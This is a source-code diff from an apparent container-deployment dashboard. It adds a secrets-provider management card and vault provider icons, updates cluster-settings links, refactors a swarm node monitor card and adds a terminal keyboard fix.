form.setValue("role", activeOrganization.defaultRole);
}
}, [form, activeOrganization?.defaultRole]);
const onSubmit = async (data: AddInvitation) => {
setError(null);
@ -267,10 +278,7 @@ export const AddInvitation = () => {
return (
<FormItem>
<FormLabel>Role</FormLabel>
<Select
onValueChange={field.onChange}
defaultValue={field.value}
>
<Select onValueChange={field.onChange} value={field.value}>
<FormControl>
<SelectTrigger>
<SelectValue placeholder="Select a role" />

File diff suppressed because it is too large Load Diff

View File

@ -0,0 +1,167 @@
import { Loader2, Trash2, Vault } from "lucide-react";
import { toast } from "sonner";
import { vaultProviderIcons } from "@/components/icons/vault-provider-icons";
import { DialogAction } from "@/components/shared/dialog-action";
import { Badge } from "@/components/ui/badge";
import { Button } from "@/components/ui/button";
import {
Card,
CardContent,
CardDescription,
CardHeader,
CardTitle,
} from "@/components/ui/card";
import { api } from "@/utils/api";
import { HandleVaultProvider } from "./handle-vault-provider";
const providerLabels: Record<string, string> = {
hashicorp: "HashiCorp Vault",
infisical: "Infisical",
aws: "AWS Secrets Manager",
doppler: "Doppler",
azure: "Azure Key Vault",
scaleway: "Scaleway Secret Manager",
};
export const ShowVaultProviders = () => {
const { mutateAsync, isPending: isRemoving } =
api.vaultProvider.remove.useMutation();
const { data, isPending, refetch } = api.vaultProvider.all.useQuery();
const { data: permissions } = api.user.getPermissions.useQuery();
return (
<div className="w-full">
<Card className="h-full bg-sidebar p-2.5 rounded-xl max-w-5xl mx-auto">
<div className="rounded-xl bg-background shadow-md">
<CardHeader>
<CardTitle className="text-xl flex flex-row gap-2">
<Vault className="size-6 text-muted-foreground self-center" />
Secrets Providers
</CardTitle>
<CardDescription>
Connect external secret managers and reference their secrets in
environment variables with{" "}
<code>{"${{vault.<name>.<secret>}}"}</code>
</CardDescription>
</CardHeader>
<CardContent className="space-y-2 py-8 border-t">
{isPending ? (
<div className="flex flex-row gap-2 items-center justify-center text-sm text-muted-foreground min-h-[25vh]">
<span>Loading...</span>
<Loader2 className="animate-spin size-4" />
</div>
) : (
<>
{data?.length === 0 ? (
<div className="flex flex-col items-center gap-3 min-h-[25vh] justify-center">
<Vault className="size-8 self-center text-muted-foreground" />
<span className="text-base text-muted-foreground text-center">
You don't have any secrets providers configured
</span>
{permissions?.vaultProvider.create && (
<HandleVaultProvider />
)}
</div>
) : (
<div className="flex flex-col gap-4 min-h-[25vh]">
<div className="flex flex-col gap-4 rounded-lg">
{data?.map((provider) => {
const ProviderIcon =
vaultProviderIcons[provider.providerType];
return (
<div
key={provider.vaultProviderId}
className="flex items-center justify-between bg-sidebar p-1 w-full rounded-lg"
>
<div className="flex items-center justify-between p-3.5 rounded-lg bg-background border w-full">
<div className="flex flex-row items-center gap-3">
<ProviderIcon className="size-7 shrink-0" />
<div className="flex gap-2 flex-col">
<span className="text-sm font-medium">
{provider.name}
</span>
<div className="flex flex-row gap-2 items-center">
{provider.assignments.length === 0 ? (
<Badge variant="destructive">
Not assigned
</Badge>
) : (
<Badge variant="secondary">
{provider.assignments.length}{" "}
{provider.assignments.length === 1
? "project"
: "projects"}
</Badge>
)}
<Badge variant="outline">
{providerLabels[provider.providerType] ??
provider.providerType}
</Badge>
<span className="text-xs text-muted-foreground">
{"${{vault." + provider.name + ".…}}"}
</span>
</div>
</div>
</div>
<div className="flex flex-row gap-1">
{permissions?.vaultProvider.update && (
<HandleVaultProvider
vaultProviderId={provider.vaultProviderId}
/>
)}
{permissions?.vaultProvider.delete && (
<DialogAction
title="Delete Secrets Provider"
description="Deployments referencing this provider will fail. Are you sure?"
type="destructive"
onClick={async () => {
await mutateAsync({
vaultProviderId:
provider.vaultProviderId,
})
.then(() => {
toast.success(
"Secrets provider deleted",
);
refetch();
})
.catch(() => {
toast.error(
"Error deleting the secrets provider",
);
});
}}
>
<Button
variant="ghost"
size="icon"
className="group hover:bg-red-500/10"
isLoading={isRemoving}
>
<Trash2 className="size-4 text-primary group-hover:text-red-500" />
</Button>
</DialogAction>
)}
</div>
</div>
</div>
);
})}
</div>
{permissions?.vaultProvider.create && (
<div className="flex flex-row gap-2 flex-wrap w-full justify-end mr-4">
<HandleVaultProvider />
</div>
)}
</div>
)}
</>
)}
</CardContent>
</div>
</Card>
</div>
);
};

View File

@ -32,7 +32,9 @@ export const TerminalModal = ({
serverId,
asButton = false,
}: Props) => {
const [terminalKey, setTerminalKey] = useState<string>(getTerminalKey());
const [terminalKey, setTerminalKey] = useState<string>(() =>
getTerminalKey(),
);
const [isOpen, setIsOpen] = useState(false);
const isLocalServer = serverId === "local";

View File

@ -6,6 +6,7 @@ import "@xterm/xterm/css/xterm.css";
import { AttachAddon } from "@xterm/addon-attach";
import { ClipboardAddon } from "@xterm/addon-clipboard";
import { useTheme } from "next-themes";
import { fixMacOsAltKeys } from "@/lib/terminal-keyboard";
import { getLocalServerData } from "./local-server-config";
interface Props {
@ -58,6 +59,7 @@ export const Terminal: React.FC<Props> = ({ id, serverId }) => {
const addonAttach = new AttachAddon(ws);
const clipboardAddon = new ClipboardAddon();
term.loadAddon(clipboardAddon);
fixMacOsAltKeys(term);
// @ts-ignore
term.open(termRef.current);

View File

@ -35,7 +35,7 @@ export const DocLinks = () => (
<ExternalLink className="h-3 w-3" />
</a>
<Link
href="/dashboard/settings/cluster"
href="/dashboard/docker?tab=swarm&subtab=nodes"
className="text-xs text-primary underline underline-offset-4 inline-flex items-center gap-1"
>
Cluster Settings
@ -85,7 +85,7 @@ export const SwarmNotAvailable = ({
<li>
Check the{" "}
<Link
href="/dashboard/settings/cluster"
href="/dashboard/docker?tab=swarm&subtab=nodes"
className="text-primary underline underline-offset-4"
>
Cluster Settings
@ -130,7 +130,7 @@ export const ServicesError = ({
<li>
Network connectivity issues to a remote server &mdash; check{" "}
<Link
href="/dashboard/settings/cluster"
href="/dashboard/docker?tab=swarm&subtab=nodes"
className="text-primary underline underline-offset-4"
>
Cluster Settings
@ -183,7 +183,7 @@ export const NoServices = ({ nodeCount, onRefresh }: NoServicesProps) => (
Worker nodes need to pull images from a shared registry. Configure one
in{" "}
<Link
href="/dashboard/settings/cluster"
href="/dashboard/docker?tab=swarm&subtab=nodes"
className="text-primary underline underline-offset-4"
>
Cluster Settings
@ -255,7 +255,7 @@ export const NoRunningContainers = ({
<li>
Images can&apos;t be pulled on worker nodes &mdash; verify your{" "}
<Link
href="/dashboard/settings/cluster"
href="/dashboard/docker?tab=swarm&subtab=nodes"
className="text-primary underline underline-offset-4"
>
registry configuration

View File

@ -303,7 +303,7 @@ export const ShowSwarmContainers = ({ serverId }: Props) => {
<p className="mt-2 text-xs">
Manage nodes in{" "}
<Link
href="/dashboard/settings/cluster"
href="/dashboard/docker?tab=swarm&subtab=nodes"
className="underline underline-offset-4"
>
Cluster Settings

View File

@ -27,50 +27,16 @@ export default function SwarmMonitorCard({ serverId }: Props) {
serverId,
});
if (isPending) {
return (
<div className="w-full max-w-7xl mx-auto">
<div className="mb-6 border min-h-[55vh] flex rounded-lg h-full items-center justify-center text-muted-foreground">
{/* <div className="flex items-center justify-center h-full text-muted-foreground"> */}
<div className="flex flex-row gap-2 items-center justify-center text-sm text-muted-foreground min-h-[55vh]">
<span>Loading...</span>
<Loader2 className="animate-spin size-4" />
</div>
{/* </div> */}
</div>
</div>
);
}
if (!nodes) {
return (
<div className="w-full max-w-7xl mx-auto">
<div className="mb-6 border min-h-[55vh] flex justify-center items-center rounded-lg h-full">
<div className="flex items-center justify-center h-full text-destructive">
<span>Failed to load data</span>
</div>
</div>
</div>
);
}
const totalNodes = nodes.length;
const activeNodesCount = nodes.filter(
(node) => node.Status === "Ready",
).length;
const managerNodesCount = nodes.filter(
(node) =>
node.ManagerStatus === "Leader" || node.ManagerStatus === "Reachable",
).length;
const activeNodes = nodes.filter((node) => node.Status === "Ready");
const managerNodes = nodes.filter(
(node) =>
node.ManagerStatus === "Leader" || node.ManagerStatus === "Reachable",
);
const totalNodes = nodes?.length ?? 0;
const activeNodes = nodes?.filter((node) => node.Status === "Ready") ?? [];
const managerNodes =
nodes?.filter(
(node) =>
node.ManagerStatus === "Leader" || node.ManagerStatus === "Reachable",
) ?? [];
return (
<Card className="h-full bg-sidebar p-2.5 rounded-xl mx-auto w-full">
<Card className="h-full bg-sidebar p-2.5 rounded-xl mx-auto w-full">
<div className="rounded-xl bg-background shadow-md p-6 flex flex-col gap-4">
<header className="flex items-center flex-wrap gap-4 justify-between">
<div className="space-y-1">
@ -85,7 +51,9 @@ export default function SwarmMonitorCard({ serverId }: Props) {
{!serverId && (
<Button
onClick={() =>
window.location.replace("/dashboard/settings/cluster")
window.location.replace(
"/dashboard/docker?tab=swarm&subtab=nodes",
)
}
>
<Settings className="mr-2 h-4 w-4" />
@ -94,93 +62,114 @@ export default function SwarmMonitorCard({ serverId }: Props) {
)}
</header>
<div className="grid gap-6 lg:grid-cols-3">
<Card className="bg-background">
<CardHeader className="flex flex-row items-center justify-between space-y-0 pb-2">
<CardTitle className="text-sm font-medium">Total Nodes</CardTitle>
<div className="p-2 bg-emerald-600/20 text-emerald-600 rounded-md">
<Server className="h-4 w-4 text-muted-foreground dark:text-emerald-600" />
</div>
</CardHeader>
<CardContent>
<div className="text-2xl font-bold">{totalNodes}</div>
</CardContent>
</Card>
{isPending ? (
<div className="flex flex-row gap-2 items-center justify-center text-sm text-muted-foreground min-h-[45vh]">
<span>Loading...</span>
<Loader2 className="animate-spin size-4" />
</div>
) : !nodes ? (
<div className="flex items-center justify-center min-h-[45vh] text-destructive">
<span>Failed to load data</span>
</div>
) : (
<>
<div className="grid gap-6 lg:grid-cols-3">
<Card className="bg-background">
<CardHeader className="flex flex-row items-center justify-between space-y-0 pb-2">
<CardTitle className="text-sm font-medium">
Total Nodes
</CardTitle>
<div className="p-2 bg-emerald-600/20 text-emerald-600 rounded-md">
<Server className="h-4 w-4 text-muted-foreground dark:text-emerald-600" />
</div>
</CardHeader>
<CardContent>
<div className="text-2xl font-bold">{totalNodes}</div>
</CardContent>
</Card>
<Card className="bg-background">
<CardHeader className="flex flex-row items-center justify-between space-y-0 pb-2">
<div className="flex items-center gap-2">
<CardTitle className="text-sm font-medium">
Active Nodes
</CardTitle>
<Badge variant="green">Online</Badge>
</div>
<div className="p-2 bg-emerald-600/20 text-emerald-600 rounded-md">
<Activity className="h-4 w-4 text-muted-foreground dark:text-emerald-600" />
</div>
</CardHeader>
<CardContent>
<TooltipProvider>
<Tooltip>
<TooltipTrigger>
<div className="text-2xl font-bold">
{activeNodesCount} / {totalNodes}
</div>
</TooltipTrigger>
<TooltipContent>
<div className="max-h-48 overflow-y-auto">
{activeNodes.map((node) => (
<div key={node.ID} className="flex items-center gap-2">
{node.Hostname}
<Card className="bg-background">
<CardHeader className="flex flex-row items-center justify-between space-y-0 pb-2">
<div className="flex items-center gap-2">
<CardTitle className="text-sm font-medium">
Active Nodes
</CardTitle>
<Badge variant="green">Online</Badge>
</div>
<div className="p-2 bg-emerald-600/20 text-emerald-600 rounded-md">
<Activity className="h-4 w-4 text-muted-foreground dark:text-emerald-600" />
</div>
</CardHeader>
<CardContent>
<TooltipProvider>
<Tooltip>
<TooltipTrigger>
<div className="text-2xl font-bold">
{activeNodes.length} / {totalNodes}
</div>
))}
</div>
</TooltipContent>
</Tooltip>
</TooltipProvider>
</CardContent>
</Card>
<Card className="bg-background">
<CardHeader className="flex flex-row items-center justify-between space-y-0 pb-2">
<div className="flex items-center gap-2">
<CardTitle className="text-sm font-medium">
Manager Nodes
</CardTitle>
<Badge variant="green">Online</Badge>
</div>
<div className="p-2 bg-emerald-600/20 text-emerald-600 rounded-md">
<Monitor className="h-4 w-4 text-muted-foreground dark:text-emerald-600" />
</div>
</CardHeader>
<CardContent>
<TooltipProvider>
<Tooltip>
<TooltipTrigger>
<div className="text-2xl font-bold">
{managerNodesCount} / {totalNodes}
</div>
</TooltipTrigger>
<TooltipContent>
<div className="max-h-48 overflow-y-auto">
{managerNodes.map((node) => (
<div key={node.ID} className="flex items-center gap-2">
{node.Hostname}
</TooltipTrigger>
<TooltipContent>
<div className="max-h-48 overflow-y-auto">
{activeNodes.map((node) => (
<div
key={node.ID}
className="flex items-center gap-2"
>
{node.Hostname}
</div>
))}
</div>
))}
</div>
</TooltipContent>
</Tooltip>
</TooltipProvider>
</CardContent>
</Card>
</div>
</TooltipContent>
</Tooltip>
</TooltipProvider>
</CardContent>
</Card>
<div className="grid grid-cols-1 xl:grid-cols-2 2xl:grid-cols-3 gap-4">
{nodes.map((node) => (
<NodeCard key={node.ID} node={node} serverId={serverId} />
))}
</div>
<Card className="bg-background">
<CardHeader className="flex flex-row items-center justify-between space-y-0 pb-2">
<div className="flex items-center gap-2">
<CardTitle className="text-sm font-medium">
Manager Nodes
</CardTitle>
<Badge variant="green">Online</Badge>
</div>
<div className="p-2 bg-emerald-600/20 text-emerald-600 rounded-md">
<Monitor className="h-4 w-4 text-muted-foreground dark:text-emerald-600" />
</div>
</CardHeader>
<CardContent>
<TooltipProvider>
<Tooltip>
<TooltipTrigger>
<div className="text-2xl font-bold">
{managerNodes.length} / {totalNodes}
</div>
</TooltipTrigger>
<TooltipContent>
<div className="max-h-48 overflow-y-auto">
{managerNodes.map((node) => (
<div
key={node.ID}
className="flex items-center gap-2"
>
{node.Hostname}
</div>
))}
</div>
</TooltipContent>
</Tooltip>
</TooltipProvider>
</CardContent>
</Card>
</div>
<div className="grid grid-cols-1 xl:grid-cols-2 2xl:grid-cols-3 gap-4">
{nodes.map((node) => (
<NodeCard key={node.ID} node={node} serverId={serverId} />
))}
</div>
</>
)}
</div>
</Card>
);

View File

@ -76,7 +76,7 @@ export const MariadbIcon = ({ className }: Props) => {
>
<path
d="M38.1637 8.19202C38.0639 8.10928 37.9372 8.0659 37.8075 8.07003C37.4539 8.07003 36.9964 8.314 36.7512 8.43598L36.6524 8.486C36.2404 8.68747 35.7917 8.80285 35.3337 8.8251C34.8629 8.83973 34.4567 8.8678 33.9309 8.92147C30.8009 9.2435 29.4115 11.6392 28.0685 13.9557C27.3365 15.2157 26.5827 16.5173 25.5472 17.5273C25.333 17.735 25.1052 17.9282 24.8652 18.1055C23.7942 18.9045 22.4487 19.468 21.3974 19.8705C20.3897 20.256 19.2894 20.6025 18.2257 20.9367C17.2499 21.2442 16.3338 21.5332 15.4885 21.8467C15.1067 21.9893 14.7822 22.0907 14.4968 22.1918C13.7271 22.4493 13.1708 22.6335 12.3609 23.1885C12.0449 23.4043 11.7278 23.6398 11.507 23.8155C10.8638 24.3293 10.2945 24.9295 9.81509 25.5988C9.40495 26.2163 8.93065 26.7888 8.4001 27.3067C8.22932 27.475 7.92559 27.5505 7.47059 27.5505C6.93754 27.5505 6.29102 27.4408 5.6067 27.3248C4.90287 27.2028 4.17342 27.081 3.54887 27.081C3.0402 27.081 2.6523 27.1627 2.36077 27.3322C2.36077 27.3322 1.87284 27.6177 1.66669 27.986L1.86917 28.0775C2.18275 28.2468 2.47374 28.455 2.73525 28.6972C3.00602 28.9482 3.3082 29.1632 3.63425 29.3363C3.7385 29.3782 3.83284 29.4413 3.91115 29.5218C3.82577 29.6438 3.70012 29.8072 3.5696 29.9792C2.84747 30.9233 2.42664 31.521 2.66815 31.8455C2.78092 31.9047 2.90685 31.934 3.0341 31.931C4.60767 31.931 5.45179 31.5223 6.52157 31.0038C6.83507 30.8623 7.15587 30.7075 7.52182 30.5488C8.14637 30.278 8.81972 29.845 9.53209 29.3877C10.4762 28.7777 11.4521 28.1532 12.3975 27.8507C13.1762 27.6123 13.9875 27.4978 14.8017 27.5115C15.8056 27.5115 16.8547 27.647 17.8695 27.7762C18.627 27.8738 19.4102 27.9738 20.1787 28.0202C20.4775 28.0373 20.7544 28.0458 21.0229 28.0458C21.3825 28.047 21.7422 28.0283 22.0999 27.9897L22.1854 27.9592C22.7245 27.6287 22.977 26.9175 23.2222 26.2295C23.3795 25.7867 23.5112 25.3903 23.7162 25.1317C23.729 25.1195 23.743 25.1085 23.7577 25.0987C23.7674 25.0933 23.7787 25.0913 23.7899 25.093C23.8009 25.0948 23.811 25.1003 23.8187 25.1085C23.8187 25.1085 23.8187 25.1085 23.8187 25.128C23.6894 27.8177 22.611 29.5193 21.5157 31.0417L20.7837 31.826C20.7837 31.826 21.8072 31.826 22.389 31.6015C24.5139 30.966 26.1192 29.5657 27.2865 27.3322C27.5745 26.7592 27.8319 26.1712 28.0575 25.5708C28.077 25.5208 28.2624 25.428 28.2442 25.6928C28.2442 25.7697 28.2332 25.855 28.227 25.9367C28.227 25.9892 28.2197 26.0428 28.2174 26.0965C28.1869 26.4685 28.0954 27.2652 28.0954 27.2652L28.7515 26.9127C30.3374 25.9098 31.5572 23.896 32.4794 20.7562C32.8649 19.4485 33.1465 18.1507 33.3954 17.004C33.693 15.6341 33.9505 14.4509 34.2494 13.9935C34.7104 13.2762 35.4142 12.7895 36.0949 12.3199L36.373 12.1259C37.2269 11.5258 38.0807 10.8305 38.2687 9.53748V9.50942C38.4102 8.55065 38.2942 8.30423 38.1637 8.19202Z"
fill="#231F20"
fill="#c2bfbf"
/>
</svg>
);

View File

@ -0,0 +1,592 @@
interface Props {
className?: string;
}
export const HashicorpVaultIcon = ({ className }: Props) => (
<svg
viewBox="0 0 24 24"
fill="currentColor"
xmlns="http://www.w3.org/2000/svg"
className={className}
>
<path d="M0 0l11.955 24L24 0zm13.366 4.827h1.393v1.38h-1.393zm-2.77 5.569H9.22V8.993h1.389zm0-2.087H9.22V6.906h1.389zm0-2.086H9.22V4.819h1.389zm2.087 6.263h-1.377V11.08h1.388zm0-2.09h-1.377V8.993h1.388zm0-2.087h-1.377V6.906h1.388zm0-2.086h-1.377V4.819h1.388zm.683.683h1.393v1.389h-1.393zm0 3.475V8.993h1.389v1.388Z" />
</svg>
);
export const InfisicalIcon = ({ className }: Props) => (
<svg
viewBox="0 0 91 43"
fill="none"
xmlns="http://www.w3.org/2000/svg"
className={className}
>
<path
d="M21.9734 0C24.8526 0 27.4793 0.412021 29.8535 1.23606C32.2528 2.06011 34.4123 3.13386 36.3318 4.45732C38.2766 5.75581 39.9814 7.10424 41.4463 8.50261C42.2545 9.25174 42.987 9.98839 43.6436 10.7125C44.3003 11.4367 44.9317 12.1609 45.5379 12.885C46.0935 12.1609 46.6618 11.4617 47.2427 10.7875C47.8489 10.0883 48.6066 9.32665 49.5158 8.50261C51.7132 6.38008 54.4409 4.43235 57.699 2.65941C60.9824 0.886471 64.7835 0 69.1024 0C73.1435 0 76.8183 0.97387 80.127 2.92161C83.4609 4.84437 86.1002 7.42886 88.045 10.6751C90.015 13.9213 91 17.5171 91 21.4625C91 24.4591 90.4317 27.2683 89.2952 29.8902C88.1586 32.4872 86.5927 34.7721 84.5974 36.7448C82.6021 38.6925 80.2785 40.2282 77.6266 41.3519C74.9746 42.4506 72.1332 43 69.1024 43C66.2231 43 63.5712 42.6005 61.1465 41.8014C58.7472 40.9774 56.5751 39.9286 54.6303 38.6551C52.7108 37.3815 51.0186 36.0706 49.5537 34.7221C48.7202 33.8981 47.9752 33.124 47.3185 32.3998C46.6871 31.6507 46.0935 30.9141 45.5379 30.1899C44.9065 30.9141 44.2624 31.6507 43.6057 32.3998C42.9491 33.149 42.2166 33.9231 41.4084 34.7221C39.9688 36.0706 38.2766 37.3815 36.3318 38.6551C34.4123 39.9036 32.2528 40.9399 29.8535 41.7639C27.4793 42.588 24.8526 43 21.9734 43C17.8818 43 14.1817 42.0386 10.873 40.1159C7.56439 38.1931 4.92506 35.6086 2.95504 32.3624C0.985013 29.0912 0 25.4579 0 21.4625C0 18.491 0.555648 15.7192 1.66694 13.1472C2.8035 10.5502 4.36941 8.26539 6.3647 6.29269C8.38523 4.31998 10.7215 2.78427 13.3734 1.68554C16.0507 0.561848 18.9173 0 21.9734 0ZM10.4563 21.4625C10.4563 23.5351 10.974 25.4204 12.0096 27.1185C13.0451 28.8165 14.4342 30.1649 16.1769 31.1638C17.9197 32.1626 19.8518 32.662 21.9734 32.662C24.3475 32.662 26.5322 32.1376 28.5275 31.0889C30.5228 30.0401 32.3791 28.7166 34.0966 27.1185C35.1826 26.0947 36.1171 25.1083 36.9001 24.1594C37.683 23.2105 38.365 22.3116 38.9459 21.4625C38.3397 20.6635 37.6199 19.777 36.7864 18.8031C35.9782 17.8043 35.0816 16.8554 34.0966 15.9564C32.4802 14.3833 30.649 13.0598 28.6032 11.9861C26.5575 10.8873 24.3475 10.338 21.9734 10.338C19.8518 10.338 17.9197 10.8499 16.1769 11.8737C14.4342 12.8725 13.0451 14.221 12.0096 15.919C10.974 17.592 10.4563 19.4399 10.4563 21.4625ZM80.4679 21.4625C80.4679 19.4399 79.9502 17.592 78.9146 15.919C77.9044 14.221 76.5405 12.8725 74.8231 11.8737C73.1056 10.8499 71.1987 10.338 69.1024 10.338C67.486 10.338 65.9453 10.5877 64.4804 11.0871C63.0155 11.5865 61.639 12.2607 60.351 13.1098C59.0881 13.9588 57.9263 14.9077 56.8655 15.9564C55.729 17.0052 54.7313 18.079 53.8726 19.1777C53.0139 20.2515 52.3951 21.0131 52.0162 21.4625C52.6477 22.3365 53.3549 23.248 54.1378 24.1969C54.9208 25.1208 55.83 26.0947 56.8655 27.1185C58.5577 28.7166 60.4015 30.0401 62.3968 31.0889C64.4173 32.1376 66.6525 32.662 69.1024 32.662C71.1987 32.662 73.1056 32.1626 74.8231 31.1638C76.5405 30.1649 77.9044 28.8165 78.9146 27.1185C79.9502 25.4204 80.4679 23.5351 80.4679 21.4625Z"
fill="currentColor"
/>
</svg>
);
export const AwsIcon = ({ className }: Props) => (
<svg
viewBox="0 0 304 182"
xmlns="http://www.w3.org/2000/svg"
className={className}
>
<path
fill="currentColor"
d="m86 66 2 9c0 3 1 5 3 8v2l-1 3-7 4-2 1-3-1-4-5-3-6c-8 9-18 14-29 14-9 0-16-3-20-8-5-4-8-11-8-19s3-15 9-20c6-6 14-8 25-8a79 79 0 0 1 22 3v-7c0-8-2-13-5-16-3-4-8-5-16-5l-11 1a80 80 0 0 0-14 5h-2c-1 0-2-1-2-3v-5l1-3c0-1 1-2 3-2l12-5 16-2c12 0 20 3 26 8 5 6 8 14 8 25v32zM46 82l10-2c4-1 7-4 10-7l3-6 1-9v-4a84 84 0 0 0-19-2c-6 0-11 1-15 4-3 2-4 6-4 11s1 8 3 11c3 2 6 4 11 4zm80 10-4-1-2-3-23-78-1-4 2-2h10l4 1 2 4 17 66 15-66 2-4 4-1h8l4 1 2 4 16 67 17-67 2-4 4-1h9c2 0 3 1 3 2v2l-1 2-24 78-2 4-4 1h-9l-4-1-1-4-16-65-15 64-2 4-4 1h-9zm129 3a66 66 0 0 1-27-6l-3-3-1-2v-5c0-2 1-3 2-3h2l3 1a54 54 0 0 0 23 5c6 0 11-2 14-4 4-2 5-5 5-9l-2-7-10-5-15-5c-7-2-13-6-16-10a24 24 0 0 1 5-34l10-5a44 44 0 0 1 20-2 110 110 0 0 1 12 3l4 2 3 2 1 4v4c0 3-1 4-2 4l-4-2c-6-2-12-3-19-3-6 0-11 0-14 2s-4 5-4 9c0 3 1 5 3 7s5 4 11 6l14 4c7 3 12 6 15 10s5 9 5 14l-3 12-7 8c-3 3-7 5-11 6l-14 2z"
/>
<path
d="M274 144A220 220 0 0 1 4 124c-4-3-1-6 2-4a300 300 0 0 0 263 16c5-2 10 4 5 8z"
fill="#f90"
/>
<path
d="M287 128c-4-5-28-3-38-1-4 0-4-3-1-5 19-13 50-9 53-5 4 5-1 36-18 51-3 2-6 1-5-2 5-10 13-33 9-38z"
fill="#f90"
/>
</svg>
);
export const DopplerIcon = ({ className }: Props) => (
<svg
viewBox="0 0 101 100"
fill="none"
xmlns="http://www.w3.org/2000/svg"
className={className}
>
<path
d="M64.3092 0.259394C60.1163 -0.864113 55.8423 1.77302 54.9657 6.02449L50.9884 25.3158C48.3904 37.9168 38.5465 47.7653 25.9467 50.3692L7.02287 54.2801C2.77187 55.1586 0.13598 59.4329 1.25947 63.6258C2.38309 67.8192 6.8038 70.2029 10.9248 68.8373L29.3407 62.7351C41.5851 58.6779 55.0695 62.291 63.6448 71.9269L76.5434 86.4207C79.4289 89.6631 84.4482 89.8092 87.5174 86.74C90.5871 83.6703 90.4404 78.6501 87.1969 75.7648L72.609 62.7885C62.9468 54.1936 59.3239 40.6746 63.3932 28.3998L69.5188 9.92278C70.8847 5.80285 68.5018 1.38278 64.3092 0.259394Z"
fill="url(#paint0_linear_1068_18455)"
/>
<path
d="M64.3092 0.259394C60.1163 -0.864113 55.8423 1.77302 54.9657 6.02449L50.9884 25.3158C48.3904 37.9168 38.5465 47.7653 25.9467 50.3692L7.02287 54.2801C2.77187 55.1586 0.13598 59.4329 1.25947 63.6258C2.38309 67.8192 6.8038 70.2029 10.9248 68.8373L29.3407 62.7351C41.5851 58.6779 55.0695 62.291 63.6448 71.9269L76.5434 86.4207C79.4289 89.6631 84.4482 89.8092 87.5174 86.74C90.5871 83.6703 90.4404 78.6501 87.1969 75.7648L72.609 62.7885C62.9468 54.1936 59.3239 40.6746 63.3932 28.3998L69.5188 9.92278C70.8847 5.80285 68.5018 1.38278 64.3092 0.259394Z"
fill="url(#paint1_linear_1068_18455)"
fill-opacity="0.46"
/>
<path
d="M64.3092 0.259394C60.1163 -0.864113 55.8423 1.77302 54.9657 6.02449L50.9884 25.3158C48.3904 37.9168 38.5465 47.7653 25.9467 50.3692L7.02287 54.2801C2.77187 55.1586 0.13598 59.4329 1.25947 63.6258C2.38309 67.8192 6.8038 70.2029 10.9248 68.8373L29.3407 62.7351C41.5851 58.6779 55.0695 62.291 63.6448 71.9269L76.5434 86.4207C79.4289 89.6631 84.4482 89.8092 87.5174 86.74C90.5871 83.6703 90.4404 78.6501 87.1969 75.7648L72.609 62.7885C62.9468 54.1936 59.3239 40.6746 63.3932 28.3998L69.5188 9.92278C70.8847 5.80285 68.5018 1.38278 64.3092 0.259394Z"
fill="url(#paint2_linear_1068_18455)"
fill-opacity="0.66"
/>
<path
d="M64.3092 0.259394C60.1163 -0.864113 55.8423 1.77302 54.9657 6.02449L50.9884 25.3158C48.3904 37.9168 38.5465 47.7653 25.9467 50.3692L7.02287 54.2801C2.77187 55.1586 0.13598 59.4329 1.25947 63.6258C2.38309 67.8192 6.8038 70.2029 10.9248 68.8373L29.3407 62.7351C41.5851 58.6779 55.0695 62.291 63.6448 71.9269L76.5434 86.4207C79.4289 89.6631 84.4482 89.8092 87.5174 86.74C90.5871 83.6703 90.4404 78.6501 87.1969 75.7648L72.609 62.7885C62.9468 54.1936 59.3239 40.6746 63.3932 28.3998L69.5188 9.92278C70.8847 5.80285 68.5018 1.38278 64.3092 0.259394Z"
fill="url(#paint3_linear_1068_18455)"
fill-opacity="0.67"
/>
<path
d="M64.3092 0.259394C60.1163 -0.864113 55.8423 1.77302 54.9657 6.02449L50.9884 25.3158C48.3904 37.9168 38.5465 47.7653 25.9467 50.3692L7.02287 54.2801C2.77187 55.1586 0.13598 59.4329 1.25947 63.6258C2.38309 67.8192 6.8038 70.2029 10.9248 68.8373L29.3407 62.7351C41.5851 58.6779 55.0695 62.291 63.6448 71.9269L76.5434 86.4207C79.4289 89.6631 84.4482 89.8092 87.5174 86.74C90.5871 83.6703 90.4404 78.6501 87.1969 75.7648L72.609 62.7885C62.9468 54.1936 59.3239 40.6746 63.3932 28.3998L69.5188 9.92278C70.8847 5.80285 68.5018 1.38278 64.3092 0.259394Z"
fill="url(#paint4_linear_1068_18455)"
/>
<path
d="M64.3092 0.259394C60.1163 -0.864113 55.8423 1.77302 54.9657 6.02449L50.9884 25.3158C48.3904 37.9168 38.5465 47.7653 25.9467 50.3692L7.02287 54.2801C2.77187 55.1586 0.13598 59.4329 1.25947 63.6258C2.38309 67.8192 6.8038 70.2029 10.9248 68.8373L29.3407 62.7351C41.5851 58.6779 55.0695 62.291 63.6448 71.9269L76.5434 86.4207C79.4289 89.6631 84.4482 89.8092 87.5174 86.74C90.5871 83.6703 90.4404 78.6501 87.1969 75.7648L72.609 62.7885C62.9468 54.1936 59.3239 40.6746 63.3932 28.3998L69.5188 9.92278C70.8847 5.80285 68.5018 1.38278 64.3092 0.259394Z"
fill="url(#paint5_radial_1068_18455)"
fill-opacity="0.94"
/>
<path
d="M64.3092 0.259394C60.1163 -0.864113 55.8423 1.77302 54.9657 6.02449L50.9884 25.3158C48.3904 37.9168 38.5465 47.7653 25.9467 50.3692L7.02287 54.2801C2.77187 55.1586 0.13598 59.4329 1.25947 63.6258C2.38309 67.8192 6.8038 70.2029 10.9248 68.8373L29.3407 62.7351C41.5851 58.6779 55.0695 62.291 63.6448 71.9269L76.5434 86.4207C79.4289 89.6631 84.4482 89.8092 87.5174 86.74C90.5871 83.6703 90.4404 78.6501 87.1969 75.7648L72.609 62.7885C62.9468 54.1936 59.3239 40.6746 63.3932 28.3998L69.5188 9.92278C70.8847 5.80285 68.5018 1.38278 64.3092 0.259394Z"
fill="url(#paint6_radial_1068_18455)"
fill-opacity="0.1"
/>
<path
d="M14.1852 24.3911C10.7562 21.2887 10.6228 15.9476 13.8926 12.6779C17.1623 9.40812 22.5033 9.54156 25.6057 12.9705L35.3591 23.7506C37.99 26.6584 37.8785 31.1183 35.1058 33.8911C32.333 36.6639 27.873 36.7753 24.9653 34.1444L14.1852 24.3911Z"
fill="url(#paint7_linear_1068_18455)"
/>
<path
d="M14.1852 24.3911C10.7562 21.2887 10.6228 15.9476 13.8926 12.6779C17.1623 9.40812 22.5033 9.54156 25.6057 12.9705L35.3591 23.7506C37.99 26.6584 37.8785 31.1183 35.1058 33.8911C32.333 36.6639 27.873 36.7753 24.9653 34.1444L14.1852 24.3911Z"
fill="url(#paint8_linear_1068_18455)"
fill-opacity="0.46"
/>
<path
